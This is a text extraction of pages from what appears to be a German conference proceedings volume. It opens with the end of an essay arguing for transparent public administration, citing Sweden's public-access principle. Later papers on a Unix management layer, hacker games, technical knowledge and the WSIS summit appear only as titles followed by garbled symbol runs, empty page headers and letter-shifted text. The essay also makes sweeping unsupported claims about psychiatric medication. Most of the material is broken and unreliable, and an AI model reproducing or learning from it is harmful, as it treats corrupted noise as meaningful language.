der Internetseiten 25 . All dies wäre bei gläserner Verwaltung demokratisch verträglich. Gezielt erreichbare Vorteile : Umgekehrt kann ein Bürger seine eigene Situation durch Bereithaltung seiner persönlichen Daten vereinfachen, wenn dies mit technischen Standards eingerichtet worden ist 26 : Kreditkarten sind weitaus sicherer als Kennkarten bzw. Führerscheine. Es sollte freiwillig möglich sein, eine mit vielen, auch biometrischen und gesundheitlichen Daten bestückte ITKennkarte zu haben, mit der man z.B. viel einfacher und schneller in einen überwachten Flughafen gelangt, weil die Daten mit dort schon gespeicherten abgeglichen werden können. Gewöhnung an Vor- und Nachteile einer Gläsernen Verwaltung: In Schweden macht schon seit dem Jahr 1766 das inzwischen im Grundgesetz verankerte „Öffentlichkeitsprinzip“ eine wache Demokratie möglich 27 : „Danach sind alle in einer Behörde vorhandenen Akten und Dokumente – auch elektronisch gespeicherte – für die Allgemeinheit zugänglich. Offenheit ist die Grundregel, Geheimhaltung die Ausnahme. Wenn Daten nicht herausgegeben werden, muss dies begründet werden. Dem Antragsteller steht der Klageweg offen. Meistens geben die Gerichte dem Einspruch statt. Durch das Öffentlichkeitsprinzip sind auch Protokolle von Polizeiverhören, Fotos, die für Pässe eingereicht werden, oder Dienstabrechnungen der Minister für jeden einsehbar.“ 12) Folgeschäden bleiben gewollt unbekannt Der Bürger will wissen: Welche Folgen haben staatliche Aktionen für ihn? Etwa: Die eigene Wohnung würde bei einer (knappen) Überflutung der Deiche 1 m tief im Wasser stehen. Der nächster Zufluchtsort wäre XY, mit Lagezeichnung. Dies würde übliche, bisher weitgehend ungewohnte Technikfolgeab schätzungen zu staatlichen Projekten voraussetzen. Verwaltungen und Politiker haben ein feines Gespür dafür, die Folgen Ihrer Handlungen zu vertuschen, indem solche Folgeabschätzungen systematisch verweigert, verhindert, ignoriert, jedenfalls äußerst selten finanziert werden. Das krasseste Beispiel ist die Schließung des OTA (Office of Technology Assessment in Washington, genau deshalb, weil es jahrelang hervorragende Arbeit geleistet hatte und somit die Power von Lobbyismus in Bereichen wie Sicherheit, Ökolo gie, Wirtschaft eingeschränkt hatte. Diese Vermeidung von Studien zu Folgeschäden widerspricht dem Prinzip einer gläsernen Verantwortung in Behörden. Schäden werden verdeckt. Dinge, die wir befürchten, geschehen laufend und bleiben unbemerkt, ein Beispiel: Die für den Mensch größte, unmittelbarste und schädlichste Umweltver schmutzung ist die Massenvergabe von psychiatrischen Beruhigungsmitteln, 25 26 Tagesspiegel 15. 3. 2005, S. 2 Ellison, Larry: A Techie’s Solution. In: Newsweek, Oct. 2001, S. 68 27 Lemkemeyer, Sven: In Schweden sind die Akten gläsern – Das Öffentlichkeitsprinzip erschwert die Korruption“, in: Tagesspiegel, 26. 07. 2002 321 | 11 wie es insbesondere an Heimbewohnern geschieht. Die technische Tendenz geht in Richtung von Sensorik wie zur Messung des Blutzuckerspiegels und der vorprogrammierten Abgabe von Insulin aus einem Implantat innerhalb des Körpers. Dies wird seit über 15 Jahren präzisiert. Im Zuge der Kostenersparnis und schematisierten Verantwortungslosigkeit durch „Kontrolle“ besteht die Gefahr dieses System für die Verabreichung von Psychopharmaka bei Erregung des Patienten zu automatisieren. Auch wer wund liegt, würde dann so „kostensparend beruhigt“. Es ist eine Frage des Bewusstseins: Mit interdisziplinärer Transparenz könnten endlich Übergriffe wie die Massenvergabe von psychiatrischen Medikamenten ähnlich verfolgt und geahndet werden, wie derzeit die Vergabe kleinster Mengen von bestimmten Aufputschmitteln etc. beim Sport. 13) Emotionale Verarbeitung Der gläserne Bürger ist ein Analphabit: Es hat nur geringe Kenntnisse vom Umgang mit Computern, Telekommunikation, Software, Überwachungstechniken und den ihn betreffende Gesetzen. Behörden entscheiden nicht „in dubio pro reo“, sondern „in irritatione pro institutione“. Vieles ist heute bis ins Intime hinein deutlich weniger geschützt als vor einem Jahrzehnt und wird teils genüsslich dargeboten. Sogar breite Videoüberwachung wäre emotional verkraftbar, sobald die gläserne Weiterverarbeitung sichergestellt ist. Der Betroffene will es wissen, so würde Vertrauen aufgebaut, Überwachung effektiv. Erst dann könnte Überwachung die Terrorakte teils verhindern, teils die Verfolgung von Terroristen verbessern. Auch die Abwehr von unerwünschten Aktionen, etwa von Stalkern, von automatisiert- penetranten Werbeaktionen usw. könnte bei hoher Transparenz besser gewährleistet werden. 14) Aktuelle Aufgabe: Die technische, juristische und praktische Machbarkeit der gläsernen Verwaltung im Detail darlegen und Ihre Auswirkungen demokratisch steuern Die gläserne Verwaltung ist kein Automatismus. Erster Schritt wäre eine interdisziplinäre Studie, welche die Machbarkeit herausarbeitet und ihre laufende Präzisierung ermöglicht, indem sie die demokratischen Konsequenzen ebenso beim Ansatz wie bei den Auswirkungen evaluativ etabliert. Ein interdisziplinäres Verbund- Projekt zur Ausarbeitung der Studie würde vor allem diese Aspekte einbeziehen: | 322 • Die technische Machbarkeit, bei gesellschaftlicher Feinabstimmungen und demokratischer Steuerung • Die laufende differenzierende Evaluation, Kriterien zur Hard- und Software für die Präzisierung und Stärkung der gläsernen Verantwortung • Die integrative Impact- Analyse für demokratische Prozesse und Akzeptanz. Unix sanity layer A class oriented interface to Unix system management Sascha Krissler 323 |                                                                                                                           !"# "  $    $          %&'   %&'      "    $          (        $         $             !"#       $   )*+    !"#                                    $     ,                                   ,                 $                                       ,            -   .$                                    )*                                                 / 0                 1 1  2               1 1                         )" $                                 ,               1 1    $                                +,3    1 1 $  #3    )"                                        ,                        ,         $                                         | 324 UNIX SANITY LAYER , 3 4    5                     3 4          !         )",                       1  1        #3     /       0                        5      !   5                        $   5             5      ,     "      $    5           5      6   $      7         7    /%0  /%0 /%0                     /  %   0      $                 /%0  /%0,                        !                     %          *8!   ,     , 5        5     "    99!,3  :$          ! 5                                                                           6    5                          6      $    -         ;    6       $                6                       /$ )"       0!  $   &     ,                       !   "                                          ,         5      $         ,                  )" ,                                /   <$0"             /    325 |      0 !                 5 8 5            !               ,               5                             5    ,+ $   $                !                  5  5                                                           5                "                           !             $          99                  < <         ,          ,                                                         ,   /  =>>? 0     5$      !     $                                 ,                  :$         $             5    99         $    !               $                    $ $   @          ,       A  A              $ $  ,                    $   $        $                $  @       +,3          )"            $                    $        ,         /            0                       -      !       5    3 $        | 326 UNIX SANITY LAYER           ,     $    (     < <  < $    B B     .$  $        < <  <        ,                    ,                      !  A      ,                                             ,                      $                                           !  A    6              6 1  11         6  1         6  1  ! $                               !                    5               6 C < < <   D    !  6 1  ,.4      1,.4E               F  $     < < < $ D %& *                 1          !           " < $            ,   $          7         $  5                   $             $     5             $      $                           , 327 |                    "      C << << D     C 1   1          6  < G  <  <1 D   ,         /           5     $      0   $                 5      $         1 !     $                5                           5              6 < G  <"  < >          6  < G  <"  D    6  < G  <  D  ,                1    2         6  A  A , A  A    6 3      !                6       < G  <  <1 D 1          6  < G  <"   <         >D 1                 6 7    5                    $                2                                $   "  A  $ $               5                  | 328 UNIX SANITY LAYER ,      $              ,    1                           !     $                       $ )" ,       $           $                       $  $    *       ,             5   7                    $  *                         5   75 $  $          $   ,     $  2   & 5    5       A $                                  $         )"    $       5                            5      $          -                               7               $          ;  #3    5    5          $  5     7                                                           7 H       $   $       7           $                         7 $       $   $     $        $             5     $      $             $     $      5      ,              '>?            '?    ,               329 | Wargames - Hacker Spielen Männliche Identitätskonstruktion und spielerische Herangehensweisen an Computer Francis Hunger 331 | | 332 WARGAMES - HACKER SPIELEN 333 | | 334 WARGAMES - HACKER SPIELEN 335 | | 336 WARGAMES - HACKER SPIELEN 337 | | 338 WARGAMES - HACKER SPIELEN 339 | | 340 WARGAMES - HACKER SPIELEN 341 | | 342 WARGAMES - HACKER SPIELEN 343 | | 344 WARGAMES - HACKER SPIELEN 345 | | 346 WARGAMES - HACKER SPIELEN 347 | | 348 WARGAMES - HACKER SPIELEN 349 | | 350 Was ist technisches Wissen? Philosophische Grundlagen technischer Wissenschaften Sandro Gaycken 351 |                                            !$ %    '* +0'  '                                            !   "#      #   $            % &#   % '        & & # "   )&& '& #*!'      %  &        (       0     ) $ *    +        +'(  0,        *     -.   /  +  0  %  '0+*0   1   * *** *   -      - %   3* .% %  *  2    -0     %+'    %*   .*   * '(  4 %      *,       0        -  .  ,   .5+$ +  '6  -  .** $  0 %                  $ 0  '  *  *      7*   +  2) 1          * 3 8 *     +  *6 ** +  - *  *+ 3 $*         7  0    *  * 0 +  * * ,*    Z 0  0 6   + + ) :'(+   4 %  (+      ;   * .'  +   *  ++  0%  +  * <  +0 +     0  +       !   %   $       * *           $$  0  6  **0 '=  0   0   %+  *    *= +* . 3 +     '! * *  !   !      $   +        *  $      0  0    $*  * $0  '(  0  3* .% *$     >% +      $        -  .+   $*    2 *         '4* 0%   7 5 ( !  +0   *    -  .  **    ,   .**$8,  18,  1          18 5?z5 : 4 6   1A 881       1 ( 0 * 5?BC < 6    4**    1  *1           D.  10 :EEF + | 352 WAS IST TECHNISCHES WISSEN?  0+$    %    -+     +   6  +  *     0  $    0    '   +*$ ** 0  0   G      6 G !   %  -  1    +      ' %   (**     -  . $+  G  0 *2  0    +*  ;        + 0   6  + *   0%  =+  H   I ,%  $  0          .      ++  '(-    +0% 0   -  * *     + 6   2 */    + %*   +*           !     $  3 *  ,%  *      +   '= */    0        $*  4**    0  4  0      '    -0/ +$  '         .  ( $7%$    -  . 0  0  0          %* '    *   $      F  3 . '-     2  *(     .1 *0   - % z' 8    +   ) +       **  8 *    0    0    *     *(=(  $  !  (  **  ** 0     0   '(  *  0       -0    8   0   (  '( - % G*        3%  G+   $  *  ; 0 $    +     ';   0      2 3     +  % G0   0$* *  D +    !*0 * / Z%    0   6  $ *    *    * $$  3   Z *  ' % * *  0     +- % + $   *  ; +         - $  $      - %      3 . ';        $7   - %   *  +    *     *    + *   * -    $7   '0  +    *3   3%'   0         J$=*A 0   0 $  $  $     0     ; % +3%    G  *   ,* G  '-  3% *' - *0 +0 $   0     3 .  ** ' F (  !  $,+* * 2 *7 '-          *0   * *-  . % 0%       *    *      +**  % '+        ; %     +3 0      '18 *  0  ,+* 8'1" #     Z  1(;   5??F 'FJF z 6   K   13 1    # Z Z'1!$ * Z   5?C?Z    *    L5< J =*A 0 1$  % ''   1 1MM000' ''M MA= M M M  Z*' 4  :z'J':EEz , 353 | (  *  ;            $A 0 B $   $    Z  Z H   I     * D+*  $            +$*   .  ' -   ( 3 N +   -             +   *  >  $$  6    '* ,*  -  . 0 *+0   +   +     +0  '(      0 $     -0  *  *        *    *  +0  '-0  *    *   $    +    'Z 0 0      *    0   ' !     /       *,  *$ 0  0    + *      +  + -     +0  '(   ** 0  0    0     *   $   *$   $     K  $ 0  *    %      $7    .' - $  -     *  *+0  '(  0        + -        *   3*  +   *   + 0 ** 'Z *         * +  0     *  '7  0 $ 0   3%     0  -   0   - % * 7  .+   6 * * 0  '(   *7  %   $  %'A          .+ .*  +       'Z+0  *      0     *      Z     3 +*         ' 0    (    +0   $           +             '( 6   /  !    0 * $ 0         %   +** '0 +  *              0      %*  >          0  *    $    0   0 +  $$ '=  0 *    (  3*  + 0  , %   +   % *  +       0      6       ;        '   &  #   -   *    $ *    6     +   ;   +  0     (  *  0   +%   0    0  '0       0   +%  8 +7      20    0   ' (  8 +%  * .     '= *  *  ; +*7 >  0     6 $    8    B =*A 0 1     (    A*  1A*  !$ *  5??? . | 354 WAS IST TECHNISCHES WISSEN?    3 .    - 7    - +**     $' 0  ,+  *  Z .  8 +**   C'  &/ $* 3   0    0 1 3       !  *   7  M     Z (     ; 0  Z   -      *   Z M0 %  2   03&/ % 2 3&/   >   7  $  *        K     Z .    * * -  0 $  %      8  7 '=        $7 3   ;% '   H   D/ I          +           ;     6% ,  %'  * *$        *+    +  =   Z   0  Z      *- +     HZ   I H!*0  I * $  3 .       8  %  '0  * 7 0    %   +  %+ 0  '         * .     $%     8  +   $'-   0    * H>   I        0 ** 0    + 0 *8      + 0'(   +    +      $  %$$       3         ' C 0  ,1H      !)    8,-   ! .10    0  ,1   )    # (   1;(:EEF;(,   *?'-    $   *         0     0    *  1 0 0    4** % 00*80 00      N  00 '( ;     6 *        *    0' ? !> *1'           1   :EEF 5 | 356 WAS IST TECHNISCHES WISSEN? 4*  0           $      +*       4   *   >7 +  * '  *  *40     0     0%  $    +      %+  4   * ' *0  3  0  +     0  +      -   0  '    3  *$       4**       *    '( 4   *  %  * 0 *     *  *         4** % 0%     >7     *4** %  * ** * 80    Z   +0 '- 0   *  -0         0  0 5E'( 0   4** 0 $  * * $ 0  * *     80  4** 0      * **+0 '      0  3   6         !* +             '8      %   *  8   %+0  *  *   8  *        * 0    +    -0 '=       7     *  + > *  > 7 6%     !**     *   70  '   *   >    + +   + +   +    +0%   *+  0  +  0  +   $ %+ '(    *  + 0   > *    0       $ *  0 2 0    .  '(  /     0   0%                 ++   *+      +*  + .+ *    +  ' (*0      0     2   **+    0  ';      *    8  .+ '   +*  *3   +     0      %   *7* $+ 3   3  +   '*  0       +    .+      *+ *   55'    *  * $ 6 * *8  8$+       3 $  '( -   *+   0  $    *    $ -* +  ,  *!**   '   /  6  0       * 0%0  5:'   - 0% *+        0   3 + $%'-        0  ' 0  Z   0   -%+       *   80    %   +         -' (       ** ,      >     7      %+ *0 05<'       +*  1) 0 *1/!!  (   '   Z  :EEF 55 Z *1!    6   *Z5?Cz 5:    01A 810  ,#    0!1 0   :EEE 5<  *0 01.      1     .10    0  ,1   )    # (   1;(:EEF;(,     0    +    8 >  *   !           -0                  5?' -  *      6 *               0  >1H      $    0   0  .I'(   0>     *  '!*+  ** +%     $     .%          +*      '(      .  -0 :E ,*$  6   ** $> '(  3+    *0  $       * * $   8*    ; % '>%+0 * *        *     Z7 $                   *     $*  $      %   ;      , +  '        ' 5? 8> 1.   ,          .10   0  ,1   )    # (   1;(:EEF;(,  'Z $ 1$  !  <  A*  5?BE 9 | 360 WAS IST TECHNISCHES WISSEN? -  *     $$    = (     ( $   '  *Z $  :5  *  ::     *  %0     Z  $    *  $   +     + *%   +        '          * *  +  Z  0 ,*     ;  $       Z   $              % '( 3  $            ,     0 *  + 0  *7 0         '( 6               Z     $  *    !  $       !  $ %      2  Z   +    $          ; 0      $*70 '(*     %  $  *7 -$       '(       $>  *  Z7  -              * 6   7  0  ' *     H;    I  H;        I      $  *  *   **' Z   *3 +      **   , > + '    ;  $   Z *  *  * *-    $   +  0               '  *%   $ 0        '  0 $,0 *  + H  $ , *I  ;   $$6       $ , *  *H   0 >0I:<$   '6 0       *    * *   ,  %  $, * * '(4     *  R  +0  , * *  Z    +   ** 0  $    0 '-    0     -  **          , + - '   ** 0 *    6* %  Z    + 0     D * + Z  * 1H  6* $6* $Z  I:F'(* *   0  * - *        Z    Z     ,  +0 Z     '(     ;      +0   , '4*  0    *   ,  %  $ , * *    . *         **,*   0     0     Z7   ; * +0     *     .       0  *'4*    $ , *      * !**   *2    - *    , %0  * $ 0   ;   '=      -. +$  0  -    , -   Z   H$ 7     I' *0  0    %$       *    '( 3     $  '  *  H0 I    3  '  *        H I'G   $ - * G 7 *     Z  % , * * 0        +0   ' :5 )   1=   ' !   (  5?B5 ::    *  10         ''5?CE :< ,='0 1    A5??? :F -' ' +: 361 | 0 *     0              ' ( 4 3*   0       Z      3 $        $ $       0     + *     'Z*2   0 , $  -          %$            0      %+*    +  *0        :z'     0% 6    3  0  0  .$  %   *           +  6 *         ' 0 ;  *    8+ '     ; + 0  +     $ - *   %+  '   .     0   0 %*  0  $  * *'40  ;   $         +       7** 0          +   6   * * D      '(     Z *     0  *   $ + 0  ' (  *0 * + 0  > %    $7       0 '  + ;     3* *21     )  0    *  * 0        =* '( 3    +   *+0     $     **  **   *   ' (    %+%  - * 0 '   %  0   -  *7  0   -       *Z2 *'=   /   . *   ,    Z     Z2%  %  0%  ; 0      *+   ,*      ' - %+0        *   + *      8+** %   '-   0     0  ** '( 0      Z      *  -0    7 **  '0  + *  0 '(  *   **   0       0   $ Z       0   *       3  8     '   %   >       *      '  *H   -. * *I0 >  7  0  ,% *  0  '   $$    Z     7   + 8 *  *  D    -. *  0  -  '-$ $% $        *>      0    *H      Z   * *  4**  $ $  +  -0 3+  %$       0   6      D*  H I$      +  0  * 3       I:J' (*>    *;  + ; %    ;          0     '  $7; + :z  + D    *   0    *   8 0  0  *      *    +     * - *    $ 0        %     0    ' :J 8> 1''D' ' ++ | 362 WAS IST TECHNISCHES WISSEN? $   * - *  +    $ %  8      $ 3 N +  1  * *     * * $80  'Z  *            !* +  0  * * * *$  $ %$0   *   +*        *  0 '- 3 0%  +*    *  3  -   0    80    0       0  0     ,* $>   72   ' -   ,      (   0  '- +    +  0 ;        ,  %                *7*'  7       $%%N   +     .%   * 0    0      '(        6 *  0     0     .  *      $     %+$ *   0  0 *   +  0  0  '     Z% 0  $  $ -. *   Z  $  $ ,  *   0 $   0  ' 8   0      +   *    $      0  +   *    0 0   $ 8  -  7 '- $ *  0   $*  *  *  *$8>   ** '- *7 *   -   0   8 $    Z         '            0   8   +0   0      +  *   80   +      $ 3 N +  ' -  *             $        $      0   $ $ 0       *$   +  *      '       *    0    *7 0  +         0     0  '      -0  0   3 +  0      0  $ *  -  0     / + 0     $ 0            '( 0   +* 40    0  >         $$      *           ' =    - 7          0          /    ' - *        ( *$     0     *7 '-  *$    *      * $*,        ,          0 *  %  6  ';     0 $*3 N    /         '3 ;        *    A(*   8* '** $      *   $*,  +*    *Z *  ,  $80  0  0   **  3   *    ,  *%2  +*  H 3 * 4**  + .*+** *8 $  $ I  *+    6H Z7  ** +, 363 |  *8 $  I  +  0 '6  *   0   $     $   :B0   ' %     >       +  *7 :C0%   (        'Z      $  0    +   $  * 6  -0   0 +0     A   6  0 '- %   0        0       %'(  -0  0       *    0  *+    %*0         '   $ *   0            0 A 8$      :?' 0  8+% K $  *       ,      +    6   $ %      ,     ' *          -0 'Z $       4 $       $0      + '(   3*  +  4 * 0   0      *7 6'( *$   $ (  - %    $ ,     6 ,   $  $*,  *      6$  ,  *%   ,   ' Z          *   7 ' * *+*   0/ H6I6  ** *    2  + 'Z +  *0     * $  +    '  6 0     * , +*    *   ,      , +*   '8* 0 ,  HZ *S+   (= N + *  0     I*   *Z        !*%   0      *G *%2     ;  G Z *S  '(*! /     '   * $     K % $  *         0   '(   $      81(   /    +    + %N   3 * *,  %* $  *      0   6  '   *      * +  0  (  $'( 6  + 3* .$!  0        $ +    * *6$   ,  %     3'    $   +       + '8  ,  H $ %  I   **    3%      3  ,   0  ' -    **   %     0     0  '-  0%    *  ,  0$3       ** 0      0 '- + $    0   80   3%*+ *  7     3  $     *  -    0   ,   *7 ' = **    81  ;   6   +    0  8  0     3 $ + +   *     0% 6 *  ' :B    01-0 Z 8'1$ 8       ! "1     $  '5??< :C 3  1 =/ /!6 )/   '<     Z  5??F :? A 81./        /!6  .10   0  ,1    )    # (   1;(:EEF;(,       +  *    8 %    *     0  6%    0 '( =0  *   6%            +    0  0   ,   >7$  *  (       $ 0  0  '  **     6+*    +%   *  6*    $  0 % *   $ $  (  0  ** *  6   -   +   '(   ;      0        *7     0        3  0    *+     '( (  0   7     * $     0       +   +    *0   8  .+ +%+* '-  *,*   *  +    +4 365 | - *   8  3'= 0 *  -   -0 0  +    $  +     *  * ;  +$  ;    %  **      ;  + Z 3   0 '(   +      0   +*  %  *  +%+  +*  $ %*%       !  *         *        *  ! 7  '(   $ $   *8   -    ; % $     +H$ *I;   ;   ** 0   * 0  ' =   *  *    *   $   0  ' +*   *  0*6      * 3  $'*      00   ;     0     **       -    +    6    0   0  $ % 0        % 0   *  '3   *  *%    * -0 0  0$       +          *7 7 '  6% *+0  0 $$    ,    + %  0  G      *   +   '! %* 0     ! *       *  *   *   *  *    *' (* $   *    '( -   Z  *           0     %  $ $   '  -0;   G            G      *      +        *  +   0    * ! +% +* 'Z 8 7    3 .  -  * *    0  '-      ;  +  -0    * Z7  H0  I  $  *  $ D*  *         0   + 0 '(*  $     +   *$ 0     -  0    *7' +   $%   8   +0   $   0  ** 0  *  '4*     *   0% !*   $   * +*  $   / +        +     * .  $0*        6 .%   0  *'-  0  $  %  *  *    +0  ' & % #     #   8*   0 *        -     $  *   >  *8     * *K $     0   +  ++    0         0    '(  *%* 0        +% 0     +   (++    0     '; *  0    ; 7  %    0         * *     '(0   0  0%'-    *         *   +  0     +        1    +5 | 366 WAS IST TECHNISCHES WISSEN?    0    ' ( *     0%  -0  %  +*     $* *    H0  I  0     *    3 .  0 *      % $  0            * H80  I+   '(    *0  (* 0     0    0   +  8> /              *           '            0%   *     $ +  '(    $ 0     0    0  > +0   * + 6   3 *0     0   '  -0 0  *    $        0        $ ' 0   6%      6      0Z   $*6 % +0     D/  +*     0      *  +   /       +  0       +  '   $    0 $7 '    *  +  0 'Z  0%      8 0           '8 7 *    $          0   0    **    %$  **  * *   ' * 0     4  %   6   ** (       >       *   8 *  * 0 0   * K  +$  8 %   *$    0   %+     **  0  * / **  *6    %  *  $   . *  ;   $   0    0   0   8  Z       *$  * '  0      $   -+  0 +      !   ' 8      *      ?  1    ! 1     *  D.  10 :EEF  *  0    +      *   $  *  ++  -0         1  '9/ 1  *    D.  1D.  !$ * 5??B -0   *  0    * *4 * $<  1  1MM'  '   ' M .'M  * M0M5FzM ' 4  1:'B':EEz =+ +      ; @=+ 0%   $     +  *  %'-     *  $   1   1MM ''$' M / M M'* +7 | 368 WAS IST TECHNISCHES WISSEN? -  " 9 /1(    0     18 5?z5  $ "/ 4" 513 N +          1( 0 * 5?BC     1   -.Z 1!$ * Z  5?C? Z    *    L5<  $ "/ 1= .+   1=*  $ =     :EEE    ! 1     *  D.  10  :EEF  "!   '< 9  4" 8518 .+       Z  1 (;   5??F  0$   1HA1D   Z*I 1 1MM000' ''M MA= M M M  Z*' 4  :z'J':EEz  0$   1 (   1 *        A*  1 A*  !$ * 5???  < ( '<) 91  +        .(   1;( :EEF;(,   =  !1Z  -0     1   :EEF  ? <!1  **  Z  Z  :EEF  '  1*+   6   *Z5?Cz  !=  '8' 11A * 0 0 30  A*  5?BE  ?  1 >    Z **(  5?B5      !)1=          ''5?CE  9 08< 1   00A1 !$ * A 5???   '4" 851A   '    *   1  * 8 $  N  A '1!$' * 5??<  1 >    *7 1  -  0   Z  1 5??F  @A *   *  *  *  1 1MM ''$' M / M M'*4  :'B':EEz +8 369 | WSIS - The Review Hacking a Dictatorship Markus Beckedahl, Robert Guerra 371 | Nbslvt!Cfdlfebim VO!Xpsme!Tvnnju!po!uif!Jogpsnbujpo!Tpdjfuz!Sfwjfx Ñ!Ibdljoh!b!Ejdubupstijq Wpn!27/.!29/!Opwfncfs!3116!gboe!jo!Uvojt!0!Uvoftjfo!efs!{xfjuf!Xpsme!Tvnnju!po!uif!Jogpsnbujpo!Tpdjfuz!)XTJT*! tubuu/!Efs!XTJT.Qsp{ftt!xvsef!wpo!efo!Wfsfjoufo!Obujpofo!hftubsufu-!vn!fjof!hmpcbmf!Wjtjpo!fjofs!Jogpsnbujpot. hftfmmtdibgu!{v!efcbuujfsfo!voe!M›tvohfo!g s!ejf!Wfssjohfsvoh!efs!Ejhjubmfo!Tqbmuvoh!xfmuxfju!{v!ß!oefo/!Efs! fstuf!XTJT!gboe!jn!Ef{fncfs!3114!jo!Hfog!tubuu/!Ebnbmt!foutuboefo!fjof!Hjqgfm.Fslm‹svoh!voe!fjo!Blujpotqsp. hsbnn/!Eb!xvsef-!lvs{!{vtbnnfohfgbttu-!jo!cmvnjhfo!voe!ejqmpnbujtdifo!Xpsufo!fjof!Jogpsnbujpothftfmm. tdibgu!g s!bmmf!hfgpsefsu!voe!nju!efn!Blujpotqmbo!xpmmuf!nbo!bmmf!o›ujhfo!Tdisjuuf!fjomfjufo-!vn!cjt!{vn!Kbisf! 3126!ebt!Joufsofu!cjt!Ójot!mfu{uf!Epsg!jo!BgsjlbÔ!{v!mfhfo/!Bvghsvoe!efs!Foutdifjevohttusvluvsfo!efs!Wfsfjoufo Obujpofo!lbn!ebnbmt!obu smjdi!ovs!fjo!Njojnbmlpotfot!piof!kfhmjdif!Wjtjpo!ifsbvt/!Cfjobif!i‹uuf!tphbs!fjo! pgß!{jfmmfs!Cf{vh!bvg!ejf!VO!Nfotdifosfdiutfslm‹svoh!wpo!2:59!efo!Fjo{vh!jo!ebt!Hjqgfmeplvnfou!wfsqbttu/ [xfj!Gsbhfo!xvsefo!ebnbmt!bvtejtlvujfsu-!bcfs!ojdiu!hfm›tu;!Ejf!Gsbhf!efs!Joufsofu!Hpwfsobodf!voe!efs!Gjobo{jf. svohtxfhf-!vn!ejf!ejhjubmf!Tqbmuvoh!{vs dl!{v!es‹ohfo/!Xjf!jnnfs!jo!tpmdifo!Tjuvbujpofo!hs oefuf!nbo!{xfj Bscfjuthsvqqfo-!ejf-!efn!VO.Hfofsbmtflsfu‹s!Lpß!!Boobo!voufstufmmu-!jn!{xfjufo!Hjqgfmqsp{ftt!Fnqgfimvohfo voe!M›tvohtwpstdim‹hf!bvtbscfjufo!tpmmufo/!Cfjef!äXpsljoh!HspvqtÔ!xbsfo!obdi!efn!Nvmujtublfipmefs.Botbu{! cftfu{u-!ebt!ifj¨u!qbsju‹ujtdi!evsdi!Wfsusfufs!efs!fjo{fmofo!Tublfipmefs!äSfhjfsvohfoÔ-!äXjsutdibguÔ!voe!ä[jwjm. hftfmmtdibguÔ!cftfu{u/!Bvg!efn!Hjqgfm!pefs!cfttfs!efs!mfu{ufo!Wpscfsfjuvohtlpogfsfo{!esfj!Ubhf!ebwps!tpmmuf!ft! bmtp!{vn!Tipxepxo!lpnnfo/ Joufsofu!Hpwfsobodf!Ñ!Xfs!lpouspmmjfsu!opdi!nbm!ebt!Ofu{@ Ejf!mfu{ufo!esfj!Kbisf!epnjojfsuf!jn!XTJT.Qsp{ftt!fjo!Uifnb-!ebt!fjhfoumjdi!ojdiu!wjfm!nju!efo!vstqs ohmjdifo [jfmfo!{v!uvo!ibuuf;!Joufsofu!Hpwfsobodf/!Wjfmf!M‹oefs!xpmmufo!efo![vtuboe!‹oefso-!ebtt!ebt!Epnbjo!Obnf Tztufn!)EOT*!wpo!JDBOO!voe!ebnju!mfu{ufoemjdi!wpn!VT.bnfsjlbojtdifo!Iboefmtnjojtufsjvn!lpouspmmjfsu!xjse/ Tubuu!fjofs!Sfhjfsvoh!tpmmufo!wjfmf!Sfhjfsvoh!fjof!äXfmusfhjfsvohÔ!cjmefo-!bn!cftufo!voufs!efs!Lpouspmmf!efs! Joufsobujpobm!Ufmfdpnnvojdbujpo!Vojpo!)JUV*/!Ejf!JUV!jtu!fjof!VO.Pshbojtbujpo!g s!efo!Qptu.!voe!Ufmflpnnv. ojlbujpotcfsfjdi!voe!xbs!gfefsg isfoe!wfsbouxpsumjdi!g s!efo!XTJT.Hjqgfmqsp{ftt/!Cjt!xfojhf!Npobuf!wps!efn {xfjufo!Hjqgfm!tuboefo!tjdi!Tubbufo!xjf!Dijob-!Csbtjmjfo!voe!Qbljtubo!efo!Joevtusjfm‹oefso!tusfjufoe!hfhfo. cfs-!xbt!ebt!gbwpsjtjfsuf!Npefmm!cfusbg/!äJUV!pefs!JDBOO!Ó!xvsef!gbtu!{vs!fjo{jhfo!Gsbhf!eft!Hjqgfmt/!Bvg!efs! wpsmfu{ufo!Wpscfsfjuvohtlpogfsfo{!{vn!Uvojt.Hjqgfm!csbdiuf!ejf!FV!vofsxbsufu!fjo!Lpnqspnjttqbqjfs!jo!ejf Efcbuuf!fjo-!vn!fjof!hfnfjotbnf!M›tvoh!{v!ß!oefo!voe!efo!Hjqgfm!ejftcf{ hmjdi!ojdiu!tdifjufso!{v!mbttfo/!Ejf VTB!xbsfo!bmmft!boefsf!bmt!bn tjfsu-!ebtt!jisf!C oeojtqbsuofs!jiofo!jo!efo!S dlfo!hfgbmmfo!xbsfo!voe!tubsufufo fjof!joufsobujpobmf!Nfejfo.!voe!Ejqmpnbujflbnqbhof/!Ejftf!tqjfmuf!ebt!Wpsvsufjm!bvt-!ebtt!ejf!Sfhjfsvohfo!ebt Joufsofu! cfsofinfo!xpmmufo/!Efs!VO.Hfofsbmtflsfu‹s!Lpß!!Boobo!wfs›ggfoumjdiuf!{xbs!opdi!lvs{!wps!Uvojt!jo!efs Xbtijohupo!Qptu!fjofo!Cfjusbh!vn!ebsbvg!ijo{vxfjtfo-!ebtt!ejf!VO!ojdiu!ebt!Joufsofu! cfsofinfo!xpmmfo!x sef! Ñ!eb!xbs!efs![vh!bcfs!tdipo!bchfgbisfo/!Jo!efs!Obdiu!wps!efn!Hjqgfmcfhjoo!fjojhufo!tjdi!ejf!Sfhjfsvohfo!bvg! fjo!hfnfjotbnft!Qbqjfs-!xbt!efo!Tubuvt!Rvp!cfj!JDBOO!fstunbm!fsi‹mu!.!jolmvtjwf!efs!Lpouspmmf!efs!VT.Sfhjfsvoh! cfs!JDBOO!voe!ebnju!ebt!EOT/!Bmmfsejoht!lpooufo!tjdi!ejf!Fvspq‹fs!evsditfu{fo-!fjo!ÓHmpcbm!Gpsvn!po!Joufsofu! HpwfsobodfÔ!bvg!joufsobujpobmfs!Fcfof!{v!jotubmmjfsfo-!ebt!ejftf!Gsbhfo!xfjufs!fouxjdlfmo!tpmm!Ñ!voe!ebt!jo!fj. ofn!Nvmujtublfipmefs.Wfsgbisfo!evsdi!Fjocf{jfivoh!wpo!Qsjwbuxjsutdibgu!voe![jwjmhftfmmtdibgu/!Ebt!fstuf!äHmpcbm GpsvnÓ!tpmm!o‹dituft!Kbis!jn!Tpnnfs!jo!Buifo!tubuuß!oefo-!xfjm!fjo!hsjfdijtdifs!Ejqmpnbu!bmt!fstuft!efo!Gjohfs | 372 WSIS REVIEW - HACKING A DICTATORSHIP 